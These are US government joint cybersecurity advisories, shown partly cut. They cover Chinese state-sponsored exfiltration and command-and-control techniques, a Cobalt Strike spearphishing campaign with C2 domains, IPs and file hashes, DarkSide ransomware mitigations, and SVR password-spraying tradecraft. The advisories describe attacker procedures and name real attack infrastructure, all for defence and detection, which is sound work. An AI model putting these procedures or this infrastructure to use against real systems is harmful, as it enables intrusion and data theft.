Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage.

  • Scan systems to identify unauthorized archival utilities or methods unusual for the environment.

  • Monitor command-line arguments for known archival utilities that are not common in the organization's environment.

Detect: 

  • Process Analysis 

    • File Access Pattern Analysis [D3-FAPA]

    • Process Spawn Analysis [D3-PSA]

Isolate:

  • Execution Isolation

    • Executable Denylisting [D3-EDL]

Clipboard Data [T1115]

Chinese state-sponsored cyber actors used RDP and execute rdpclip.exe to exfiltrate information from the clipboard.

  • Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity (e.g. excessive use of pbcopy/pbpaste (Linux) or clip.exe (Windows) run by general users through command line).

  • If possible, disable use of RDP and other file sharing protocols to minimize a malicious actor's ability to exfiltrate data.

Detect:

  • Network Traffic Analysis

    • Remote Terminal Session Detection  [D3-RTSD]

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

    • Outbound Traffic Filtering [D3-OTF

Data Staged [T1074]

Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network.

Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as using 7-Zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

Detect: 

  • Process Analysis

    • File Access Pattern Analysis [D3-FAPA]

Email Collection [T1114]

Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes.

  • Audit email auto-forwarding rules for suspicious or unrecognized rulesets.

  • Encrypt email using public key cryptography, where feasible.

  • Use MFA on public-facing mail servers.

Harden:

  • Credential Hardening

    • Multi-factor Authentication [D3-MFA]

  • Message Hardening

Detect: 

  • Process Analysis [D3-PA]

Tactics: Command and Control [TA0011]

Table XII: Chinese state-sponsored cyber actors’ Command and Control TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques
  Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Application Layer Protocol [T1071]

Chinese state-sponsored cyber actors have been observed:

  • Using commercial cloud storage services for command and control.

  • Using malware implants that use the Dropbox® API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive® API.

Use network intrusion detection and prevention systems with network signatures to identify traffic for specific adversary malware.

Detect: 

  • Network Traffic Analysis

    • Client-server Payload Profiling [D3-CSPP]

    • File Carving [D3-FC]

Isolate: 

  • Network Isolation

Ingress Tool Transfer [T1105]

Chinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks. In some instances. Chinese state-sponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks.

  • Perform ingress traffic analysis to identify transmissions that are outside of normal network behavior. 

  • Do not expose services and protocols (such as File Transfer Protocol [FTP]) to the Internet without strong business justification.

  • Use signature-based network intrusion detection and prevention systems to identify adversary malware coming into the network.

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

Non-Standard Port [T1571]

Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure. 

  • Use signature-based network intrusion detection and prevention systems to identify adversary malware calling back to C2.

  • Configure firewalls to limit outgoing traffic to only required ports based on the functions of that network segment.

  • Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port.

Detect:  

  • Network Traffic Analysis

    • Client-server Payload Profiling [D3-CSPP]

    • Protocol Metadata Anomaly Detection [D3-PMAD]

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

    • Outbound Traffic Filtering [D3-OTF]

Protocol Tunneling [T1572]

Chinese state-sponsored cyber actors have been observed using tools like dog-tunnel and dns2tcp.exe to conceal C2 traffic with existing network activity. 

  • Monitor systems for connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client.

  • Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards.

  • Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) 

Detect: 

  • Network Traffic Analysis

    • Protocol Metadata Anomaly Detection [D3-PMAD]

Proxy [T1090]: 

Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs.

Monitor traffic for encrypted communications originating from potentially breached routers to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are authorized VPN connections or other encrypted modes of communication.

  • Alert on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.

  • Use network allow and blocklists to block traffic to known anonymity networks and C2 infrastructure.

Detect: 

  • Network Traffic Analysis

    • Protocol Metadata Anomaly Detection [D3-PMAD]

    • Relay Pattern Analysis [D3-RPA]

Isolate: 

  • Network Isolation

    • Outbound Traffic Filtering [D3-OTF]

Appendix B: MITRE ATT&CK Framework 

Figure 2: MITRE ATT&CK Enterprise tactics and techniques used by Chinese state-sponsored cyber actors (Click here for the downloadable JSON file.) 

Contact Information

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.dhs.gov.

For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.

Media Inquiries / Press Desk:
•    NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov
•    CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov
•    FBI National Press Office, 202-324-3691, npo@fbi.gov

References Revisions
  • July 19, 2021: Initial Version

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CISA

AA21-148A: Sophisticated Spearphishing Campaign Targets Government Organizations, IGOs, and NGOs

1 month 4 weeks ago
Original release date: May 28, 2021 | Last revised: May 29, 2021
Summary

This Joint Cybersecurity Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are engaged in addressing a spearphishing campaign targeting government organizations, intergovernmental organizations (IGOs), and non-governmental organizations (NGOs). A sophisticated cyber threat actor leveraged a compromised end-user account from Constant Contact, a legitimate email marketing software company, to spoof a U.S.-based government organization and distribute links to malicious URLs.[1] CISA and FBI have not determined that any individual accounts have been specifically targeted by this campaign.

Note: CISA and FBI acknowledge open-source reporting attributing the activity discussed in the report to APT29 (also known as Nobelium, The Dukes, and Cozy Bear).[2,3] However, CISA and FBI are investigating this activity and have not attributed it to any threat actor at this time. CISA and FBI will update this Joint Cybersecurity Advisory as new information becomes available. Note:

This Joint Cybersecurity Advisory contains information on tactics, techniques, and procedures (TTPs) and malware associated with this campaign. For more information on the malware, refer to Malware Analysis Report MAR-10339794-1.v1: Cobalt Strike Beacon.

CISA and FBI urge governmental and international affairs organizations and individuals associated with such organizations to adopt a heightened state of awareness and implement the recommendations in the Mitigations section of this advisory.

For a downloadable list of indicators of compromise (IOCs), refer to AA21-148A.stix, and MAR-10339794-1.v1.stix.

Click here for a PDF version of this report.

Technical Details

Based on incident reports, malware collection, and trusted third-party reporting, CISA and FBI are engaged in addressing a sophisticated spearphishing campaign. A cyber threat actor leveraged a compromised end-user account from Constant Contact, a legitimate email marketing software company, to send phishing emails to more than 7,000 accounts across approximately 350 government organizations, IGOs, and NGOs. The threat actor sent spoofed emails that appeared to originate from a U.S. Government organization. The emails contained a legitimate Constant Contact link that redirected to a malicious URL [T1566.002, T1204.001], from which a malicious ISO file was dropped onto the victim’s machine.

The ISO file contained (1) a malicious Dynamic Link Library (DLL) named Documents.dll [T1055.001], which is a custom Cobalt Strike Beacon version 4 implant, (2) a malicious shortcut file that executes the Cobalt Strike Beacon loader [T1105], and (3) a benign decoy PDF titled “Foreign Threats to the 2020 US Federal Elections” with file name “ICA-declass.pdf” (see figure 1). Note: The decoy file appears to be a copy of the declassified Intelligence Community Assessment pursuant to Executive Order 13848 Section 1(a), which is available at https://www.intelligence.gov/index.php/ic-on-the-record-database/results/1046-foreign-threats-to-the-2020-us-federal-elections-intelligence-community-assessment.

Figure 1: Decoy PDF: ICA-declass.pdf

Cobalt Strike is a commercial penetration testing tool used to conduct red team operations.[4] It contains a number of tools that complement the cyber threat actor’s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners. The Cobalt Strike Beacon is the malicious implant that calls back to attacker-controlled infrastructure and checks for additional commands to execute on the compromised system [TA0011].

The configuration file for this Cobalt Strike Beacon implant contained communications protocols, an implant watermark, and the following hardcoded command and control (C2) domains:

  • dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2
  • cdn.theyardservice[.]com/jquery-3.3.1.min.woff2
  • static.theyardservice[.]com/jquery-3.3.1.min.woff2
  • worldhomeoutlet[.]com/jquery-3.3.1.min.woff2

The configuration file was encoded via an XOR with the key 0x2e and a 16-bit byte swap.

For more information on the ISO file and Cobalt Strike Beacon implant, including IOCs, refer to Malware Analysis Report MAR-10339794-1.v1: Cobalt Strike Beacon.

Indicators of Compromise

The following IOCS were derived from trusted third parties and open-source research. For a downloadable list of IOCs, refer to AA21-148A.stix and MAR-10339794-1.v1.stix.

  • URL: https[:]//r20.rs6.net/tn.jsp?f=
    Host IP: 208.75.122[.]11 (US)
    Owner: Constant Contact, Inc.
    Activity: legitimate Constant Contact link found in phishing email that redirects victims to actor-controlled infrastructure at https[:]//usaid.theyardservice.com/d/<target_email_address>
     
  • URL: https[:]//usaid.theyardservice.com/d/<target_email_address>
    Host IP: 83.171.237[.]173 (Germany)
    Owner: [redacted]
    First Seen: May 25, 2021
    Activity: actor-controlled URL that was redirected from https[:]//r20.rs6.net/tn.jsp?f=; the domain usaid[.]theyardservice.com was detected as a malware site; hosted a malicious ISO file "usaid[.]theyardservice.com"
     
  • File: ICA-declass.iso [MD5: cbc1dc536cd6f4fb9648e229e5d23361]
    File Type: Macintosh Disk Image
    Detection: Artemis!7EDF943ED251, Trojan:Win32/Cobaltstrike!MSR, or other malware
    Activity: ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
     
  • File: /d/ [MD5: ebe2f8df39b4a94fb408580a728d351f]
    File Type: Macintosh Disk Image
    Detection: Cobalt, Artemis!7EDF943ED251, or other malware
    Activity: ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
     
  • File: ICA-declass.iso [MD5: 29e2ef8ef5c6ff95e98bff095e63dc05]
    File Type: Macintosh Disk Image
    Detection: Cobalt Strike, Rozena, or other malware
    Activity: ISO file container; contains a custom Cobalt Strike Beacon loader; communicated with multiple URLs, domains, and IP addresses
     
  • File: Reports.lnk [MD5: dcfd60883c73c3d92fceb6ac910d5b80]
    File Type: LNK (Windows shortcut)
    Detection: Worm: Win32-Script.Save.df8efe7a, Static AI - Suspicious LNK, or other malware
    Activity: shortcut contained in malicious ISO files; executes a custom Cobalt Strike Beacon loader
     
  • File: ICA-declass.pdf [MD5: b40b30329489d342b2aa5ef8309ad388]
    File Type: PDF
    Detection: undetected
    Activity: benign, password-protected PDF displayed to victim as a decoy; currently unrecognized by antivirus software
     
  • File: DOCUMENT.DLL [MD5: 7edf943ed251fa480c5ca5abb2446c75]
    File Type: Win32 DLL
    Detection: Trojan: Win32/Cobaltstrike!MSR, Rozena, or other malware
    Activity: custom Cobalt Strike Beacon loader contained in malicious ISO files; communicating with multiple URLs, domains, and IP addresses by antivirus software
     
  • File: DOCUMENT.DLL [MD5: 1c3b8ae594cb4ce24c2680b47cebf808]
    File Type: Win32 DLL
    Detection: Cobalt Strike, Razy, Khalesi, or other malware
    Activity: Custom Cobalt Strike Beacon loader contained in malicious ISO files; communicating with multiple URLs, domains, and IP addresses by antivirus software
     
  • Domain: usaid[.]theyardservice.com
    Host IP: 83.171.237[.]173 (Germany)
    First Seen: May 25, 2021
    Owner: Withheld for Privacy Purposes
    Activity: subdomain used to distribute ISO file according to the trusted third party; detected as a malware site by antivirus programs
     
  • Domain: worldhomeoutlet.com
    Host IP: 192.99.221[.]77 (Canada)
    Created Date: March 11, 2020
    Owner: Withheld for Privacy Purposes by Registrar
    Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software; associated with Cobalt Strike malware
     
  • Domain: dataplane.theyardservice[.]com
    Host IP: 83.171.237[.]173 (Germany)
    First Seen: May 25, 2021
    Owner: [redacted]
    Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software; observed in phishing, malware, and spam activity
     
  • Domain: cdn.theyardservice[.]com
    Host IP: 83.171.237[.]173 (Germany)
    First Seen: May 25, 2021
    Owner: Withheld for Privacy Purposes by Registrar
    Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software
     
  • Domain: static.theyardservice[.]com
    Host IP: 83.171.237[.]173 (Germany)
    First Seen: May 25, 2021
    Owner: Withheld for Privacy Purposes
    Activity: Cobalt Strike C2 subdomain according to the trusted third party; categorized as suspicious and observed communicating with multiple malicious files according to antivirus software
     
  • IP: 192.99.221[.]77
    Organization: OVH SAS
    Resolutions: 7
    Geolocation: Canada
    Activity: detected as a malware site; hosts a suspicious domain worldhomeoutlet[.]com; observed in Cobalt Strike activity
     
  • IP: 83.171.237[.]173
    Organization: Droptop GmbH
    Resolutions: 15
    Geolocation: Germany
    Activity: Categorized as malicious by antivirus software; hosted multiple suspicious domains and multiple malicious files were observed downloaded from this IP address; observed in Cobalt Strike and activity
     
  • Domain: theyardservice[.]com
    Host IP: 83.171.237[.]173 (Germany)
    Created Date: January 27, 2010
    Owner: Withheld for Privacy Purposes
    Activity: Threat actor controlled domain according to the trusted third party; categorized as suspicious by antivirus software; observed in Cobalt Strike activity

Table 1 provides a summary of the MITRE ATT&CK techniques observed.

Table 1: MITRE ATT&CK techniques observed

Technique Title

Technique ID

Process Injection: Dynamic-link Library Injection

T1055.001

Ingress Tool Transfer

T1105

User Execution: Malicious Link

T1204.001

Phishing: Spearphishing Link

T1566.002

Mitigations

CISA and FBI urge CI owners and operators to apply the following mitigations.

  • Implement multi-factor authentication (MFA) for every account. While privileged accounts and remote access systems are critical, it is also important to ensure full coverage across SaaS solutions. Enabling MFA for corporate communications platforms (as with all other accounts) provides vital defense against these types of attacks and, in many cases, can prevent them.
  • Keep all software up to date. The most effective cybersecurity programs quickly update all of their software as soon as patches are available. If your organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited.
  • Implement endpoint and detection response (EDR) tools. EDR allows a high degree of visibility into the security status of endpoints and is can be an effective tool against threat actors.
    Note: Organizations using Microsoft Defender for Endpoint or Microsoft 365 Defense should refer to Microsoft: Use attack surface reduction rules to prevent malware infection for more information on hardening the enterprise attack surface.
  • Implement centralized log management for host monitoring. A centralized logging application allows technicians to look out for anomalous activity in the network environment, such as new applications running on hosts, out-of-place communication between devices, or unaccountable login failures on machines. It also aids in troubleshooting applications or equipment in the event of a fault. CISA and the FBI recommend that organizations:
    • Forward logs from local hosts to a centralized log management server—often referred to as a security information and event management (SIEM) tool.
    • Ensure logs are searchable. The ability to search, analyze, and visualize communications will help analysts diagnose issues and may lead to detection of anomalous activity.
    • Correlate logs from both network and host security devices. By reviewing logs from multiple sources, an organization can better triage an individual event and determine its impact to the organization as a whole.
    • Review both centralized and local log management policies to maximize efficiency and retain historical data. Organizations should retain critical logs for a minimum of 30 days.
  • Deploy signatures to detect and/or block inbound connection from Cobalt Strike servers and other post-exploitation tools.
  • Implement unauthorized execution prevention by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
  • Configure and maintain user and administrative accounts using a strong account management policy.
    • Use administrative accounts on dedicated administration workstations.
    • Limit access to and use of administrative accounts.
    • Use strong passwords. For more information on strong passwords, refer to CISA Tip: Choosing and Protecting Passwords and National Institute of Standards (NIST) SP 800-63: Digital Identity Guidelines: Authentication and Lifecycle Management.
    • Remove default accounts if unneeded. Change the password of default accounts that are needed.
    • Disable all unused accounts.
  • Implement a user training program and simulated attacks for spearphishing to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails.
RESOURCES Contact Information

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.

 

References Revisions
  • May 28, 2021: Initial version
  • May 29, 2021: Added final sentence of first paragraph in Summary section

This product is provided subject to this Notification and this Privacy & Use policy.

CISA

AA21-131A: DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks

2 months 2 weeks ago
Original release date: May 11, 2021 | Last revised: July 8, 2021
Summary

This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are aware of a ransomware attack affecting a critical infrastructure (CI) entity—a pipeline company—in the United States. Malicious cyber actors deployed DarkSide ransomware against the pipeline company’s information technology (IT) network.[1] At this time, there is no indication that the entity’s operational technology (OT) networks have been directly affected by the ransomware.

CISA and FBI urge CI asset owners and operators to adopt a heightened state of awareness and implement the recommendations listed in the Mitigations section of this Joint Cybersecurity Advisory, including implementing robust network segmentation between IT and OT networks; regularly testing manual controls; and ensuring that backups are implemented, regularly tested, and isolated from network connections. These mitigations will help CI owners and operators improve their entity's functional resilience by reducing their vulnerability to ransomware and the risk of severe business degradation if impacted by ransomware.

  • (Updated May 19, 2021): Click here for a STIX package of indicators of compromise (IOCs). Note: These IOCs were shared with critical infrastructure partners and network defenders on May 10, 2021. The applications listed in the IOCs were leveraged by the threat actors during the course of a compromise. Some of these applications might appear within an organization's enterprise to support legitimate purposes; however, these applications can be used by threat actors to aid in malicious exploitation of an organization's enterprise. CISA and FBI recommend removing any application not deemed necessary for day-to-day operations.
  • (Updated July 08, 2021): Click here for downloadable IOCs associated with a sample of a DarkSide ransomware variant analyzed by CISA and FBI. Note: CISA and FBI have no evidence that this sample is related to the pipeline incident detailed in this CSA. This variant executes a dynamic-link library (DLL) program used to delete Volume Shadow copies available on the system. The malware collects, encrypts, and sends system information to the threat actor’s command and control (C2) domains and generates a ransom note to the victim. For more information about this variant, refer to Malware Analysis Report MAR-10337802-1.v1: DarkSide Ransomware

Click here for a PDF version of this report.

Technical Details

Note: the analysis in this Joint Cybersecurity Advisory is ongoing, and the information provided should not be considered comprehensive. CISA and FBI will update this advisory as new information is available.

After gaining initial access to the pipeline company’s network, DarkSide actors deployed DarkSide ransomware against the company’s IT network. In response to the cyberattack, the company has reported that they proactively disconnected certain OT systems to ensure the systems’ safety.[2] At this time, there are no indications that the threat actor moved laterally to OT systems.

DarkSide is ransomware-as-a-service (RaaS)—the developers of the ransomware receive a share of the proceeds from the cybercriminal actors who deploy it, known as “affiliates.” According to open-source reporting, since August 2020, DarkSide actors have been targeting multiple large, high-revenue organizations, resulting in the encryption and theft of sensitive data. The DarkSide group has publicly stated that they prefer to target organizations that can afford to pay large ransoms instead of hospitals, schools, non-profits, and governments.[3],[4]

According to open-source reporting, DarkSide actors have previously been observed gaining initial access through phishing and exploiting remotely accessible accounts and systems and Virtual Desktop Infrastructure (VDI) (Phishing [T1566], Exploit Public-Facing Application [T1190], External Remote Services [T1133]).[5],[6] DarkSide actors have also been observed using Remote Desktop Protocol (RDP) to maintain Persistence [TA0003].[7]

After gaining access, DarkSide actors deploy DarkSide ransomware to encrypt and steal sensitive data (Data Encrypted for Impact [T1486]). The actors then threaten to publicly release the data if the ransom is not paid.[8],[9] The DarkSide ransomware uses Salsa20 and RSA encryption.[10]

DarkSide actors primarily use The Onion Router (TOR) for Command and Control (C2) [TA0011] (Proxy: Multi-hop Proxy [1090.003]).[11],[12] The actors have also been observed using Cobalt Strike for C2.[13]

Mitigations

CISA and FBI urge CI owners and operators to apply the following mitigations to reduce the risk of compromise by ransomware attacks.

  • Require multi-factor authentication for remote access to OT and IT networks.
  • Enable strong spam filters to prevent phishing emails from reaching end users. Filter emails containing executable files from reaching end users.
  • Implement a user training program and simulated attacks for spearphishing to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails.
  • Filter network traffic to prohibit ingress and egress communications with known malicious IP addresses. Prevent users from accessing malicious websites by implementing URL blocklists and/or allowlists.
  • Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Consider using a centralized patch management system; use a risk-based assessment strategy to determine which OT network assets and zones should participate in the patch management program.
  • Limit access to resources over networks, especially by restricting RDP. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources and require multi-factor authentication.
  • Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures. Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
  • Implement unauthorized execution prevention by
    • Disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
    • Implementing application allowlisting, which only allows systems to execute programs known and permitted by security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common ransomware locations, such as temporary folders supporting popular internet browsers or compression/decompression programs, including the AppData/LocalAppData folder.
    • Monitor and/or block inbound connections from Tor exit nodes and other anonymization services to IP addresses and ports for which external connections are not expected (i.e., other than VPN gateways, mail ports, web ports). For more guidance, refer to Joint Cybersecurity Advisory AA20-183A: Defending Against Malicious Cyber Activity Originating from Tor.
    • Deploy signatures to detect and/or block inbound connection from Cobalt Strike servers and other post exploitation tools.

CISA and FBI urge CI owners and operators to apply the following mitigations now to reduce the risk of severe business or functional degradation should their CI entity fall victim to a ransomware attack in the future.

  • Implement and ensure robust network segmentation between IT and OT networks to limit the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.
  • Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit industrial control system (ICS) protocols from traversing the IT network.
  • Identify OT and IT network inter-dependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans such as manual controls so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised. 
  • Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.
  • Implement regular data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. The data backup procedures should also address the following best practices:
    • Ensure that backups are regularly tested.
    • Store your backups separately. Backups should be isolated from network connections that could enable the spread of ransomware. It is important that backups be maintained offline as many ransomware variants attempt to find and encrypt or delete accessible backups. Maintaining current backups offline is critical because if your network data is encrypted with ransomware, your organization can restore systems to its previous state. Best practice is to store your backups on a separate device that cannot be accessed from a network, such as on an external hard drive. (See the Software Engineering Institute’s page on ransomware).
    • Maintain regularly updated “gold images” of critical systems in the event they need to be rebuilt. This entails maintaining image “templates” that include a preconfigured operating system (OS) and associated software applications that can be quickly deployed to rebuild a system, such as a virtual machine or server.
    • Retain backup hardware to rebuild systems in the event rebuilding the primary system is not preferred. Hardware that is newer or older than the primary system can present installation or compatibility hurdles when rebuilding from images.
    • Store source code or executables. It is more efficient to rebuild from system images, but some images will not install on different hardware or platforms correctly; having separate access to needed software will help in these cases.
  • Ensure user and process accounts are limited through account use policies, user account control, and privileged account management. Organize access rights based on the principles of least privilege and separation of duties.

If your organization is impacted by a ransomware incident, CISA and FBI recommend the following actions:

  • Isolate the infected system. Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities. Ensure all shared and networked drives are disconnected, whether wired or wireless.  
  • Turn off other computers and devices. Power-off and segregate (i.e., remove from the network) the infected computer(s). Power-off and segregate any other computers or devices that shared a network with the infected computer(s) that have not been fully encrypted by ransomware. If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted. Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists. (See Before You Connect a New Computer to the Internet for tips on how to make a computer more secure before you reconnect it to a network.)
  • Secure your backups. Ensure that your backup data is offline and secure. If possible, scan your backup data with an antivirus program to check that it is free of malware.
  • Refer to Joint Cybersecurity Advisory: AA20-245A: Technical Approaches to Uncovering and Remediating Malicious Activity for more best practices on incident response.

Note: CISA and the FBI do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered. CISA and FBI urge you to report ransomware incidents to your local FBI field office.

CISA offers a range of no-cost cyber hygiene services to help CI organizations assess, identify and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.

Resources Contact Information

Victims of ransomware should report it immediately to CISA at https://us-cert.cisa.gov/report, a local FBI Field Office, or U.S. Secret Service Field Office. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.

References Revisions
  • May 11, 2021: Initial Version
  • May 12, 2021: Added additional resources
  • May 19, 2021: Added IOCs
  • July 8, 2021: Added MAR-10337802-1.v1 and associated IOCs

This product is provided subject to this Notification and this Privacy & Use policy.

CISA

AA21-116A: Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders

3 months ago
Original release date: April 26, 2021
Summary

The Federal Bureau of Investigation (FBI), Department of Homeland Security (DHS), and Cybersecurity and Infrastructure Security Agency (CISA) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and Yttrium—will continue to seek intelligence from U.S. and foreign entities through cyber exploitation, using a range of initial exploitation techniques that vary in sophistication, coupled with stealthy intrusion tradecraft within compromised networks. The SVR primarily targets government networks, think tank and policy analysis organizations, and information technology companies. On April 15, 2021, the White House released a statement on the recent SolarWinds compromise, attributing the activity to the SVR. For additional detailed information on identified vulnerabilities and mitigations, see the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and FBI Cybersecurity Advisory titled “Russian SVR Targets U.S. and Allied Networks,” released on April 15, 2021.

The FBI and DHS are providing information on the SVR’s cyber tools, targets, techniques, and capabilities to aid organizations in conducting their own investigations and securing their networks.

Click here for a PDF version of this report.

Threat Overview

SVR cyber operations have posed a longstanding threat to the United States. Prior to 2018, several private cyber security companies published reports about APT 29 operations to obtain access to victim networks and steal information, highlighting the use of customized tools to maximize stealth inside victim networks and APT 29 actors’ ability to move within victim environments undetected.

Beginning in 2018, the FBI observed the SVR shift from using malware on victim networks to targeting cloud resources, particularly e-mail, to obtain information. The exploitation of Microsoft Office 365 environments following network access gained through use of modified SolarWinds software reflects this continuing trend. Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations.

Technical DetailsSVR Cyber Operations Tactics, Techniques, and Procedures Password Spraying

In one 2018 compromise of a large network, SVR cyber actors used password spraying to identify a weak password associated with an administrative account. The actors conducted the password spraying activity in a “low and slow” manner, attempting a small number of passwords at infrequent intervals, possibly to avoid detection. The password spraying used a large number of IP addresses all located in the same country as the victim, including those associated with residential, commercial, mobile, and The Onion Router (TOR) addresses.

The organization unintentionally exempted the compromised administrator’s account from multi-factor authentication requirements. With access to the administrative account, the actors modified permissions of specific e-mail accounts on the network, allowing any authenticated network user to read those accounts.

The actors also used the misconfiguration for compromised non-administrative accounts. That misconfiguration enabled logins using legacy single-factor authentication on devices which did not support multi-factor authentication. The FBI suspects this was achieved by spoofing user agent strings to appear to be older versions of mail clients, including Apple’s mail client and old versions of Microsoft Outlook. After logging in as a non-administrative user, the actors used the permission changes applied by the compromised administrative user to access specific mailboxes of interest within the victim organization.

While the password sprays were conducted from many different IP addresses, once the actors obtained access to an account, that compromised account was generally only accessed from a single IP address corresponding to a leased virtual private server (VPS). The FBI observed minimal overlap between the VPSs used for different compromised accounts, and each leased server used to conduct follow-on actions was in the same country as the victim organization.

